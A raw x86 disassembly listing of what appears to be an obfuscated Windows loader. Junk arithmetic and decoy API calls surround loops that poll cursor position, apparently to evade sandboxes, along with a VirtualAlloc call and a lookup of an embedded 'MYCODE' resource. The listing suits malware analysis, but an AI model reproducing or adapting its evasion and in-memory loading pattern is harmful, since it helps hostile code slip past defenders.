call sub.AVICAP32.dll_capCreateCaptureWindowA
jmp 0x40ba6a
and dword [ebp - 0x1950], 0
mov eax, dword [0x582964]
mov dword [ebp - 0x1954], eax
cmp dword [0x57c2b8], 0
je 0x40bb0d
push 1
push dword [ebp - 0x1950]
push dword [ebp - 0x1954]
push dword [ebp - 0x1950]
call dword [sym.imp.GDI32.dll_CombineRgn]
and dword [ebp - 0x1958], 0
jmp 0x40bb23
mov eax, dword [ebp - 0x1958]
inc eax
mov dword [ebp - 0x1958], eax
push 2
pop eax
sub eax, dword [0x582934]
imul eax, dword [0x58294c]
cmp dword [ebp - 0x1958], eax
jge 0x40c0a9
mov eax, dword [0x582960]
mov dword [ebp - 0x1a78], eax
lea eax, [ebp - 0x1a6c]
mov dword [ebp - 0x195c], eax
lea eax, [ebp - 0x1a6c]
sub eax, 5
mov dword [ebp - 0x1960], eax
lea eax, [ebp - 0x1a74]
push eax
lea eax, [ebp - 0x1a6c]
sub eax, dword [ebp - 0x195c]
dec eax
push eax
push dword [ebp - 0x195c]
push dword [ebp - 0x1a78]
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov ecx, dword [0x58293c]
add ecx, 0x5b
mov eax, dword [0x582968]
xor edx, edx
div ecx
cmp eax, dword [ebp - 0x1948]
ja 0x40bbcc
movzx eax, byte [0x5826a0]
add eax, dword [0x58292c]
add eax, dword [0x582928]
sub eax, dword [ebp - 0x1918]
add eax, dword [0x582928]
mov dword [0x582928], eax
jmp 0x40bbe6
mov eax, dword [0x58292c]
imul eax, dword [0x582964]
mov ecx, dword [0x582968]
sub ecx, eax
mov dword [0x582968], ecx
push 0
push 0
call dword [sym.imp.COMCTL32.dll_ImageList_GetDragImage]
mov dword [ebp - 0x192c], eax
mov eax, dword [0x582964]
add eax, 7
mov dword [ebp - 0x1a8c], eax
and dword [ebp - 0x1a88], 0
xor eax, eax
lea edi, [ebp - 0x1a84]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x582964]
cmp eax, dword [ebp - 0x1a8c]
jne 0x40bc30
mov eax, dword [ebp - 0x1a7c]
inc eax
mov dword [ebp - 0x1a7c], eax
push 1
mov eax, dword [ebp - 0x1a7c]
sub eax, dword [ebp - 0x1a84]
push eax
mov eax, dword [ebp - 0x1a80]
sub eax, dword [ebp - 0x1a88]
push eax
push dword [ebp - 0x1a84]
push dword [ebp - 0x1a88]
push dword [0x582948]
call dword [sym.imp.USER32.dll_MoveWindow]
mov eax, dword [ebp - 0x1918]
imul eax, dword [0x582938]
mov ecx, 0x582048
movzx ecx, cx
imul eax, ecx
movzx ecx, word [0x582968]
add eax, ecx
mov ecx, dword [0x582928]
imul ecx, dword [0x58294c]
add eax, ecx
sub eax, dword [0x582964]
add eax, dword [0x582968]
mov dword [0x582968], eax
push 0
call dword [sym.imp.COMCTL32.dll_ImageList_GetBkColor]
mov dword [ebp - 0x1908], eax
mov eax, dword [0x582950]
sub eax, dword [0x582958]
movzx ecx, byte [ebp - 0x1914]
sub ecx, dword [ebp - 0x1948]
cmp eax, ecx
jbe 0x40bcf1
mov eax, dword [ebp - 0x1914]
shr eax, 2
add eax, dword [0x582958]
sub eax, dword [0x582964]
add eax, dword [0x582958]
mov dword [0x582958], eax
jmp 0x40bd0d
movzx eax, byte [0x582964]
movzx ecx, word [0x582934]
add eax, ecx
sub eax, dword [0x582958]
mov dword [ebp - 0x1948], eax
push 0
call dword [sym.imp.COMCTL32.dll_ImageList_Duplicate]
mov dword [ebp - 0x1930], eax
cmp dword [0x582928], 0
jne 0x40bd36
mov eax, dword [0x58292c]
add eax, dword [0x582938]
mov dword [0x58292c], eax
jmp 0x40bd63
movzx eax, word [0x582934]
movzx ecx, byte [0x58293c]
add eax, ecx
mov ecx, dword [0x58295c]
imul ecx, dword [0x57c2b8]
add eax, ecx
mov ecx, dword [0x582928]
sub ecx, eax
mov dword [0x582928], ecx
mov eax, dword [0x582948]
cmp eax, dword [ebp - 0x1930]
jne 0x40bd90
mov eax, dword [ebp - 0x192c]
cmp eax, dword [0x582934]
jne 0x40bd90
mov eax, dword [ebp - 0x1908]
cmp eax, dword [0x58293c]
je 0x40be12
lea eax, [ebp - 0x17d4]
cmp eax, dword [0x582934]
jg 0x40bdc3
mov ecx, dword [0x582948]
add ecx, 0x4c
mov eax, dword [0x582948]
cdq
idiv ecx
imul eax, dword [0x58295c]
add eax, dword [0x582944]
mov dword [0x582944], eax
jmp 0x40bde9
mov ecx, dword [0x582964]
add ecx, 0x59
mov eax, dword [0x58295c]
cdq
idiv ecx
imul eax, dword [0x582950]
mov ecx, dword [ebp - 0x1944]
sub ecx, eax
mov dword [ebp - 0x1944], ecx
and dword [ebp - 0x18f0], 0
mov eax, dword [ebp - 0x18fc]
cdq
push 0xd
pop ecx
idiv ecx
mov ecx, dword [ebp - 0x193c]
sub ecx, eax
add ecx, dword [0x582944]
mov dword [0x582968], ecx
jmp 0x40be70
cmp dword [ebp - 0x1918], 0
je 0x40be27
movzx eax, byte [0x582938]
mov dword [0x582944], eax
push 0x58
push dword [0x582948]
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
test eax, eax
je 0x40be4f
mov eax, dword [0x57c2b8]
sub eax, dword [0x582964]
add eax, dword [0x582944]
mov dword [0x582944], eax
mov eax, dword [0x582940]
mov dword [ebp - 0x18f0], eax
mov eax, dword [0x582938]
add eax, dword [0x582928]
add eax, dword [0x582950]
mov dword [0x58292c], eax
cmp dword [0x58295c], 0
je 0x40be93
mov eax, dword [ebp - 0x18f4]
add eax, dword [ebp - 0x1900]
add eax, dword [ebp - 0x18fc]
mov dword [ebp - 0x18fc], eax
jmp 0x40bec4
mov ecx, dword [0x582950]
add ecx, 0x52
mov eax, dword [ebp - 0x1900]
cdq
idiv ecx
imul eax, dword [0x58292c]
movzx ecx, word [0x58293c]
imul eax, ecx
mov ecx, dword [ebp - 0x17dc]
sub ecx, eax
mov dword [ebp - 0x17dc], ecx
cmp dword [ebp - 0x18f0], 0
jne 0x40bf4a
cmp dword [0x58294c], 0
je 0x40bf02
movzx eax, word [0x582964]
sub eax, dword [0x582950]
mov ecx, dword [0x582928]
imul ecx, dword [0x5826a0]
add eax, ecx
movzx ecx, word [0x58294c]
sub eax, ecx
mov dword [0x58292c], eax
jmp 0x40bf24
mov eax, dword [0x582964]
cdq
push 0xe
pop ecx
idiv ecx
add eax, dword [0x582938]
sub eax, dword [0x58294c]
add eax, dword [0x582958]
mov dword [0x582958], eax
and dword [ebp - 0x1aac], 0
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x1aa8]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1aac]
push eax
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
jmp 0x40c0a4
mov eax, dword [0x582934]
add eax, dword [0x58294c]
mov dword [ebp - 0x1acc], eax
lea eax, [ebp - 0x1ac0]
mov dword [ebp - 0x1ab0], eax
mov eax, dword [0x582928]
mov dword [ebp - 0x1ac8], eax
mov eax, dword [0x58292c]
mov dword [ebp - 0x1ac4], eax
and dword [ebp - 0x18f0], 0
push 0x57c2bc
push 1
push 1
push 8
push 8
call dword [sym.imp.GDI32.dll_CreateBitmap]
mov dword [ebp - 0x1ad8], eax
push dword [ebp - 0x1ad8]
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov dword [ebp - 0x1ad0], eax
push 0
push 0
mov eax, dword [ebp - 0x1ab0]
push dword [eax]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SetBrushOrgEx]
push dword [ebp - 0x1ad0]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x1ad4], eax
push dword [ebp - 0x1ac8]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 0x1ae0], eax
push dword [ebp - 0x1ac4]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [ebp - 0x1adc], eax
push 0xf00021
mov eax, dword [ebp - 0x1ab0]
mov ecx, dword [ebp - 0x1ab0]
mov eax, dword [eax + 0xc]
sub eax, dword [ecx + 4]
push eax
mov eax, dword [ebp - 0x1ab0]
mov ecx, dword [ebp - 0x1ab0]
mov eax, dword [eax + 8]
sub eax, dword [ecx]
push eax
mov eax, dword [ebp - 0x1ab0]
push dword [eax + 4]
mov eax, dword [ebp - 0x1ab0]
push dword [eax]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_PatBlt]
push dword [ebp - 0x1adc]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SetBkColor]
push dword [ebp - 0x1ae0]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SetTextColor]
push dword [ebp - 0x1ad4]
push dword [ebp - 0x1acc]
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [ebp - 0x1ad0]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x1ad8]
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x40bb16
mov eax, dword [0x582938]
add eax, dword [ebp - 0x18fc]
cmp eax, dword [0x582928]
jg 0x40c0d8
movzx eax, word [ebp - 0x18f8]
movzx ecx, byte [0x5826a0]
add eax, ecx
sub eax, dword [ebp - 0x193c]
mov dword [ebp - 0x17e8], eax
mov eax, dword [0x582938]
imul eax, dword [0x582968]
imul eax, dword [0x582934]
inc eax
inc eax
mov dword [0x58295c], eax
lea eax, [ebp - 0x1ae4]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
cmp dword [0x582964], 0
je 0x40c128
cmp dword [0x582948], 0
je 0x40c128
lea eax, [ebp - 0x1cf4]
push eax
push dword [ebp - 0x1ae8]
call dword [sym.imp.OLEAUT32.dll_OleLoadPicturePath]
mov eax, dword [0x582948]
mov dword [ebp - 0x1cf8], eax
push dword [ebp - 0x1cf8]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0xc8ffff
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push dword [0x582964]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1928]
call fcn.0040e411
mov ecx, dword [0x582964]
add ecx, 0x37
mov eax, dword [0x582968]
xor edx, edx
div ecx
mov ecx, dword [0x58292c]
imul ecx, dword [0x582364]
add eax, dword [0x58236c]
add ecx, eax
mov eax, dword [0x582944]
sub eax, ecx
mov dword [0x582944], eax
mov ecx, dword [0x5826ac]
imul ecx, dword [0x582964]
movzx eax, byte [0x5826c4]
mov esi, dword [0x582938]
add esi, 0x4c
cdq
idiv esi
imul eax, dword [0x5826a0]
imul eax, dword [0x582938]
mov esi, dword [0x582934]
add esi, 0x54
cdq
idiv esi
imul eax, dword [0x57c2b8]
sub ecx, eax
mov dword [0x582364], ecx
mov eax, dword [0x5826bc]
sub eax, 0x582048
je 0x40c1f9
mov eax, dword [0x5826c4]
mov dword [0x58292c], eax
jmp 0x40c236
mov ecx, dword [0x582964]
add ecx, 0x5a
mov eax, dword [0x5826a4]
cdq
idiv ecx
movzx ecx, byte [0x582368]
imul eax, ecx
mov ecx, dword [0x58295c]
sub ecx, eax
add ecx, dword [0x5826bc]
movzx eax, byte [0x582928]
add ecx, dword [0x581f74]
add eax, ecx
mov dword [0x58292c], eax
mov eax, dword [0x582948]
imul eax, dword [0x5826b0]
mov ecx, dword [0x582948]
add ecx, 0x57
cdq
idiv ecx
movzx ecx, word [0x582964]
imul eax, ecx
imul eax, dword [0x58292c]
movzx ecx, word [0x582368]
add eax, ecx
mov ecx, dword [0x5826bc]
sub ecx, eax
mov dword [0x5826bc], ecx
mov eax, dword [0x582928]
imul eax, dword [0x5826b0]
mov ecx, dword [0x58235c]
lea eax, [eax + ecx + 0x582370]
sub eax, dword [0x5826c0]
mov dword [0x5826b0], eax
mov ecx, dword [0x582948]
add ecx, 0x3d
mov eax, dword [0x58236c]
cdq
idiv ecx
add eax, dword [0x582968]
add eax, dword [0x57c2b8]
add eax, dword [0x582958]
sub eax, dword [0x581f74]
mov dword [0x58292c], eax
cmp dword [0x582958], 0
je 0x40c2fb
mov eax, dword [0x58292c]
cdq
push 5
pop ecx
idiv ecx
add eax, dword [0x582950]
movzx ecx, byte [0x582944]
add eax, ecx
movzx ecx, word [0x581f74]
add eax, ecx
mov dword [0x58292c], eax
jmp 0x40c32d
mov ecx, dword [0x581f74]
imul ecx, dword [0x5826a0]
sub ecx, dword [0x57c2b8]
add ecx, dword [0x58292c]
mov eax, dword [0x582950]
cdq
push 0x26
pop esi
idiv esi
sub ecx, eax
sub ecx, dword [0x581f70]
mov dword [0x581f74], ecx
and dword [ebp - 0x2030], 0
mov dword [ebp - 0x2080], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2040], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x204c], eax
mov dword [ebp - 0x1f08], 1
mov dword [ebp - 0x2048], 0x10
mov dword [ebp - 0x2050], 3
mov dword [ebp - 0x203c], 0x100
and dword [ebp - 0x2058], 0
mov dword [ebp - 0x2044], 1
and dword [ebp - 0x207c], 0
mov byte [ebp - 0x201c], 0
push 0xff
push 0
lea eax, [ebp - 0x201b]
push eax
call fcn.0050f760
add esp, 0xc
and dword [ebp - 0x202c], 0
xor eax, eax
lea edi, [ebp - 0x2028]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x2078], 0
xor eax, eax
lea edi, [ebp - 0x2074]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x1f18], 0
xor eax, eax
lea edi, [ebp - 0x1f14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x2038], 0
and dword [ebp - 0x2054], 0
mov eax, dword [0x5826cc]
cdq
push 7
pop ecx
idiv ecx
add eax, dword [ebp - 0x206c]
movzx ecx, byte [ebp - 0x1f10]
mov edx, dword [0x582964]
sub edx, ecx
cmp eax, edx
je 0x40c41e
cmp dword [ebp - 0x2050], 0
je 0x40c44e
mov eax, dword [ebp - 0x2044]
mov ecx, dword [0x58295c]
lea eax, [ecx + eax + 6]
imul eax, dword [0x582948]
mov ecx, dword [ebp - 0x203c]
imul ecx, ecx, 0x145
imul ecx, ecx, 6
add eax, ecx
mov dword [ebp - 0x2038], eax
jmp 0x40c4bf
mov eax, dword [0x58295c]
cdq
push 0xa
pop ecx
idiv ecx
add eax, dword [0x582934]
je 0x40c492
mov eax, dword [0x582958]
imul eax, dword [0x58292c]
mov ecx, dword [0x582950]
sub ecx, eax
mov eax, dword [0x582944]
imul eax, eax, 7
add ecx, dword [0x5826cc]
lea eax, [eax + ecx + 0x999]
mov dword [ebp - 0x2038], eax
jmp 0x40c4bf
mov eax, dword [0x58292c]
imul eax, dword [0x582964]
add eax, dword [0x58295c]
sub eax, dword [0x582928]
sub eax, dword [0x5826a0]
sub eax, dword [ebp - 0x207c]
sub eax, 8
mov dword [ebp - 0x2038], eax
movzx eax, word [0x57c2b8]
mov ecx, dword [0x58293c]
add ecx, 0x4e
cdq
idiv ecx
add eax, dword [0x58295c]
movzx ecx, word [0x58292c]
mov edx, dword [0x5826cc]
sub edx, ecx
cmp eax, edx
jle 0x40c500
movzx eax, word [0x5826a0]
movzx ecx, byte [0x58295c]
sub eax, ecx
mov dword [0x57c2b8], eax
mov eax, dword [0x582964]
mov dword [ebp - 0x2084], eax
mov eax, dword [ebp - 0x203c]
cmp eax, dword [ebp - 0x2080]
jle 0x40c53f
mov eax, dword [ebp - 0x2040]
imul eax, dword [0x58293c]
imul eax, dword [0x582928]
imul eax, dword [0x582934]
add eax, 0x40
mov dword [ebp - 0x2054], eax
jmp 0x40c558
mov eax, dword [0x582938]
imul eax, dword [0x582928]
imul eax, dword [0x58292c]
mov dword [ebp - 0x2054], eax
push 1
push dword [ebp - 0x2084]
call dword [sym.imp.GDI32.dll_SetBkMode]
push 0xff
push dword [ebp - 0x2084]
call dword [sym.imp.GDI32.dll_SetTextColor]
and dword [ebp - 0x20a0], 0
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x209c]
rep stosd dword es:[edi], eax
push 0x1c
lea eax, [ebp - 0x20a0]
push eax
push 1
call dword [sym.imp.USER32.dll_SendInput]
mov eax, dword [0x582964]
add eax, 0x4e
mov dword [ebp - 0x2034], eax
mov eax, dword [ebp - 0x2034]
mov ecx, dword [ebp - 0x2034]
dec ecx
mov dword [ebp - 0x2034], ecx
test eax, eax
je 0x40c646
movzx eax, byte [ebp - 0x2044]
mov ecx, dword [0x582938]
add ecx, 0x4d
cdq
idiv ecx
imul eax, dword [ebp - 0x2040]
movzx ecx, byte [0x58295c]
imul eax, ecx
add eax, dword [ebp - 0x1f0c]
add eax, dword [ebp - 0x2040]
mov dword [ebp - 0x2040], eax
mov eax, dword [0x582964]
mov dword [ebp - 0x20a4], eax
mov eax, dword [0x582938]
imul eax, dword [0x582944]
imul eax, dword [0x582964]
add eax, 0x20
mov dword [0x5826c8], eax
cmp dword [0x582964], 0
je 0x40c641
cmp dword [0x582948], 0
je 0x40c641
push 0xffffffffffffffff
push dword [ebp - 0x20a4]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
jmp 0x40c5aa
lea eax, [ebp - 0x2e91]
mov dword [ebp - 0x2e90], eax
and dword [ebp - 0x2068], 0
and dword [ebp - 0x2064], 0
and dword [ebp - 0x2060], 0
lea eax, [ebp - 0x2068]
mov dword [ebp - 0x31c8], eax
mov dword [ebp - 4], 0xf
mov al, byte [0x58294c]
mov byte [ebp - 0x2d1d], al
lea eax, [ebp - 0x2d1d]
push eax
lea ecx, [ebp - 0x2068]
call fcn.0040f336
push dword [ebp - 0x2054]
push 0x3000
push dword [ebp - 0x2038]
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [0x5826cc], eax
mov al, byte [0x582968]
mov byte [ebp - 0x2d1e], al
lea eax, [ebp - 0x2d1e]
push eax
lea ecx, [ebp - 0x2068]
call fcn.0040f336
mov al, byte [0x5826a0]
mov byte [ebp - 0x2d1f], al
lea eax, [ebp - 0x2d1f]
push eax
lea ecx, [ebp - 0x2068]
call fcn.0040f23a
mov eax, dword [ebp - 0x2064]
sub eax, dword [ebp - 0x2068]
je 0x40c72c
movzx ecx, byte [0x5826cc]
mov esi, dword [0x582934]
add esi, 0x3b
mov eax, dword [ebp - 0x202c]
cdq
idiv esi
add ecx, dword [0x5826a0]
add eax, ecx
mov ecx, dword [ebp - 0x202c]
sub ecx, eax
mov dword [ebp - 0x202c], ecx
mov ecx, dword [0x582948]
add ecx, 0x4e
mov eax, dword [ebp - 0x2040]
cdq
idiv ecx
movzx ecx, byte [0x582968]
imul eax, ecx
add eax, dword [0x582940]
mov dword [0x58292c], eax
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x2068]
call fcn.0040fb32
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x23d8], 0
mov dword [ebp - 0x243c], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x23e4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x23f8], eax
and dword [ebp - 0x2428], 0
mov dword [ebp - 0x23f4], 1
mov dword [ebp - 0x22b0], 1
and dword [ebp - 0x23f0], 0
mov byte [ebp - 0x23c4], 0
push 0xff
push 0
lea eax, [ebp - 0x23c3]
push eax
call fcn.0050f760
add esp, 0xc
and dword [ebp - 0x23d4], 0
xor eax, eax
lea edi, [ebp - 0x23d0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x2424], 0
xor eax, eax
lea edi, [ebp - 0x2420]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x22c4], 0
xor eax, eax
lea edi, [ebp - 0x22c0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x22ac], ax
push 0x206
push 0
lea eax, [ebp - 0x22aa]
push eax
call fcn.0050f760
add esp, 0xc
movzx eax, byte [ebp - 0x23d8]
sub eax, dword [ebp - 0x2418]
mov ecx, dword [0x582928]
add ecx, dword [ebp - 0x2428]
cmp eax, ecx
jne 0x40c862
mov eax, dword [0x58292c]
cdq
push 0xf
pop ecx
idiv ecx
add eax, dword [0x58295c]
add eax, dword [ebp - 0x2428]
mov ecx, dword [ebp - 0x23c8]
sub ecx, eax
mov dword [ebp - 0x23c8], ecx
push 0x53846c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [ebp - 0x2440], eax
movzx eax, word [ebp - 0x2420]
sub eax, dword [ebp - 0x22b8]
je 0x40c8a2
movzx eax, word [0x582934]
imul eax, dword [0x58293c]
add eax, dword [0x58292c]
mov dword [ebp - 0x23cc], eax
and dword [ebp - 0x23fc], 0
and dword [ebp - 0x23ec], 0
and dword [ebp - 0x2438], 0
xor eax, eax
lea edi, [ebp - 0x2434]
stosd dword es:[edi], eax
and dword [ebp - 0x2430], 0
xor eax, eax
lea edi, [ebp - 0x242c]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x2414]
call fcn.0040f836
mov dword [ebp - 4], 0x11
mov al, byte [ebp - 0x23f8]
mov byte [ebp - 0x2d20], al
lea eax, [ebp - 0x2d20]
push eax
lea ecx, [ebp - 0x2414]
call fcn.0040feca
mov eax, 0x582048
test eax, eax
je 0x40c953
movzx eax, byte [0x582964]
mov dword [ebp - 0x31cc], eax
fild dword [ebp - 0x31cc]
mov eax, dword [ebp - 0x23e4]
mov dword [ebp - 0x31d4], eax
and dword [ebp - 0x31d0], 0
fild qword [ebp - 0x31d4]
fxch st(1)
fstp qword [ebp - 0x31dc]
call fcn.00510130
fadd qword [ebp - 0x31dc]
call fcn.0050fd40
mov dword [ebp - 0x22b8], eax
lea ecx, [ebp - 0x2414]
call fcn.0040fdba
mov dword [ebp - 0x2ec0], eax
mov eax, dword [ebp - 0x2ec0]
movzx eax, byte [eax]
mov dword [ebp - 0x22b4], eax
lea eax, [ebp - 0x22b4]
mov dword [ebp - 0x23e0], eax
mov al, byte [0x5826cc]
mov byte [ebp - 0x2d21], al
lea eax, [ebp - 0x2d21]
push eax
lea ecx, [ebp - 0x2414]
call fcn.0040fce5
mov al, byte [0x582938]
mov byte [ebp - 0x2d22], al
lea eax, [ebp - 0x2d22]
push eax
lea ecx, [ebp - 0x2414]
call fcn.0040feca
lea ecx, [ebp - 0x2414]
call fcn.0040fe2e
push 0
push 0
push dword [0x582960]
call dword [sym.imp.GDI32.dll_SetTextJustification]
lea eax, [ebp - 0x2438]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x23dc], 0xa
mov eax, dword [ebp - 0x23dc]
mov ecx, dword [ebp - 0x23dc]
dec ecx
mov dword [ebp - 0x23dc], ecx
test eax, eax
je 0x40ccc4
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
movzx eax, byte [0x58295c]
imul eax, dword [0x57c2b8]
mov dword [ebp - 0x2428], eax
lea eax, [ebp - 0x2430]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [0x582928]
imul eax, dword [ebp - 0x22c4]
cmp eax, dword [0x582940]
jl 0x40ca5c
movzx eax, byte [ebp - 0x22bc]
add eax, dword [ebp - 0x23d4]
add eax, dword [ebp - 0x22b8]
mov dword [ebp - 0x22b8], eax
mov eax, dword [ebp - 0x2438]
cmp eax, dword [ebp - 0x2430]
jne 0x40ca78
mov eax, dword [ebp - 0x2434]
cmp eax, dword [ebp - 0x242c]
je 0x40caca
mov eax, dword [ebp - 0x23fc]
inc eax
mov dword [ebp - 0x23fc], eax
mov eax, dword [ebp - 0x2430]
mov dword [ebp - 0x2438], eax
cmp dword [0x582934], 0
je 0x40cabc
cmp dword [0x58293c], 0
je 0x40cabc
push 0
push dword [ebp - 0x2444]
push dword [ebp - 0x244c]
push dword [ebp - 0x2448]
call sub.AVIFIL32.dll_AVIMakeCompressedStream
mov eax, dword [ebp - 0x242c]
mov dword [ebp - 0x2434], eax
jmp 0x40cb25
mov eax, dword [0x582948]
mov dword [ebp - 0x2454], eax
mov dword [ebp - 0x2458], 0x16
mov dword [ebp - 0x245c], 0x12
mov dword [ebp - 0x2450], 0x19
push dword [ebp - 0x2458]
push dword [ebp - 0x2454]
call dword [sym.imp.USER32.dll_GetScrollPos]
lea eax, [ebp - 0x2450]
push eax
lea eax, [ebp - 0x245c]
push eax
push dword [ebp - 0x2458]
push dword [ebp - 0x2454]
call dword [sym.imp.USER32.dll_GetScrollRange]
push 0
push str.MYCODE
push str.CODE
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceExA]
cmp dword [ebp - 0x23fc], 0
je 0x40cb7f
and dword [ebp - 0x2468], 0
and dword [ebp - 0x2464], 0
and dword [ebp - 0x2460], 0
mov eax, dword [ebp - 0x23ec]
inc eax
mov dword [ebp - 0x23ec], eax
lea eax, [ebp - 0x2464]
push eax
push 0
push dword [ebp - 0x2460]
push dword [ebp - 0x2468]
call sub.pdh.dll_PdhAddCounterW
mov eax, dword [0x582944]
cdq
push 0x17
pop ecx
idiv ecx
add eax, dword [0x582968]
movzx ecx, byte [0x58292c]
cmp eax, ecx
jb 0x40cbae
mov eax, dword [0x582968]
sub eax, dword [ebp - 0x23f4]
mov dword [ebp - 0x23f8], eax
jmp 0x40cbe0
movzx ecx, byte [0x582944]
add ecx, dword [0x582968]
movzx eax, byte [0x582928]
add ecx, eax
mov eax, dword [0x582950]
cdq
push 5
pop esi
idiv esi
sub ecx, eax
movzx eax, byte [ebp - 0x243c]
add ecx, eax
mov dword [0x582944], ecx
cmp dword [ebp - 0x23fc], 1
jle 0x40cc15
cmp dword [0x582944], 0
je 0x40cbff
mov eax, dword [ebp - 0x2420]
mov dword [0x582928], eax
jmp 0x40cc10
mov eax, dword [0x582934]
add eax, dword [0x5826cc]
mov dword [ebp - 0x23d0], eax
jmp 0x40ccc4
call dword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
lea eax, [ebp - 0x22ac]
movzx eax, ax
cmp dword [ebp - 0x23d0], eax
jg 0x40cc45
mov eax, dword [ebp - 0x22b8]
imul eax, dword [ebp - 0x23f4]
add eax, dword [ebp - 0x2428]
mov dword [ebp - 0x23d0], eax
cmp dword [ebp - 0x23ec], 5
jne 0x40cc81
mov eax, dword [ebp - 0x23e4]
imul eax, dword [ebp - 0x23d4]
cmp eax, dword [0x5826cc]
jne 0x40cc7f
mov eax, dword [0x58294c]
cdq
push 6
pop ecx
idiv ecx
add eax, dword [ebp - 0x23c8]
add eax, dword [ebp - 0x23e4]
mov dword [0x58292c], eax
jmp 0x40ccc4
push 0x582978
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0x12b
push dword [ebp - 0x2440]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 0
push dword [0x582948]
push dword [0x58297c]
push dword [0x582978]
push 0x40
push dword [0x582974]
call dword [sym.imp.USER32.dll_TrackPopupMenuEx]
jmp 0x40c9eb
mov eax, dword [0x58293c]
add eax, 0x4f
mov dword [ebp - 0x23e8], eax
mov eax, dword [ebp - 0x23e8]
mov ecx, dword [ebp - 0x23e8]
dec ecx
mov dword [ebp - 0x23e8], ecx
test eax, eax
je 0x40cd58
push 0xffffffffffffffe6
push dword [0x582948]
call dword [sym.imp.USER32.dll_GetClassLongA]
or eax, 0x200
push eax
push 0xffffffffffffffe6
push dword [0x58293c]
call dword [sym.imp.USER32.dll_SetClassLongA]
lea eax, [ebp - 0x23c4]
movzx ecx, al
movzx eax, word [0x582964]
movzx edx, word [ebp - 0x23e4]
imul eax, edx
add ecx, eax
sub ecx, dword [0x58292c]
mov esi, dword [0x582938]
add esi, 0x5d
mov eax, dword [0x582944]
cdq
idiv esi
imul eax, dword [ebp - 0x23d0]
sub ecx, eax
mov eax, dword [0x582944]
sub eax, ecx
mov dword [0x582944], eax
jmp 0x40ccd2
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x2414]
call fcn.0040ff9f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2414]
call fcn.00410053
cmp dword [0x5826a4], 0
jne 0x40cd96
mov eax, dword [0x58292c]
sub eax, dword [0x58292c]
mov dword [0x58292c], eax
mov ecx, dword [0x582938]
add ecx, 0x38
mov eax, dword [0x5826a4]
cdq
idiv ecx
add eax, dword [0x57c2b8]
mov ecx, dword [0x582944]
add ecx, dword [0x582938]
cmp eax, ecx
jge 0x40cdcd
mov eax, dword [0x582364]
sub eax, dword [0x582368]
mov dword [0x582364], eax
mov eax, dword [0x582958]
cmp eax, dword [0x581f70]
jne 0x40cdf9
mov eax, dword [0x581f74]
imul eax, dword [0x582368]
add eax, dword [0x582934]
sub eax, dword [0x58295c]
mov dword [0x581f74], eax
jmp 0x40ce3e
mov ecx, dword [0x582364]
sub ecx, dword [0x5826a0]
mov eax, dword [0x582928]
cdq
push 0x11
pop esi
idiv esi
add ecx, eax
mov esi, dword [0x58293c]
add esi, 0x53
mov eax, dword [0x582958]
cdq
idiv esi
imul eax, dword [0x582964]
add ecx, eax
sub ecx, dword [0x58295c]
mov eax, dword [0x582958]
sub eax, ecx
mov dword [0x582958], eax
mov eax, dword [0x582938]
sub eax, dword [0x5826b0]
je 0x40ce6c
mov eax, dword [0x582968]
sub eax, dword [0x582360]
sub eax, dword [0x5826bc]
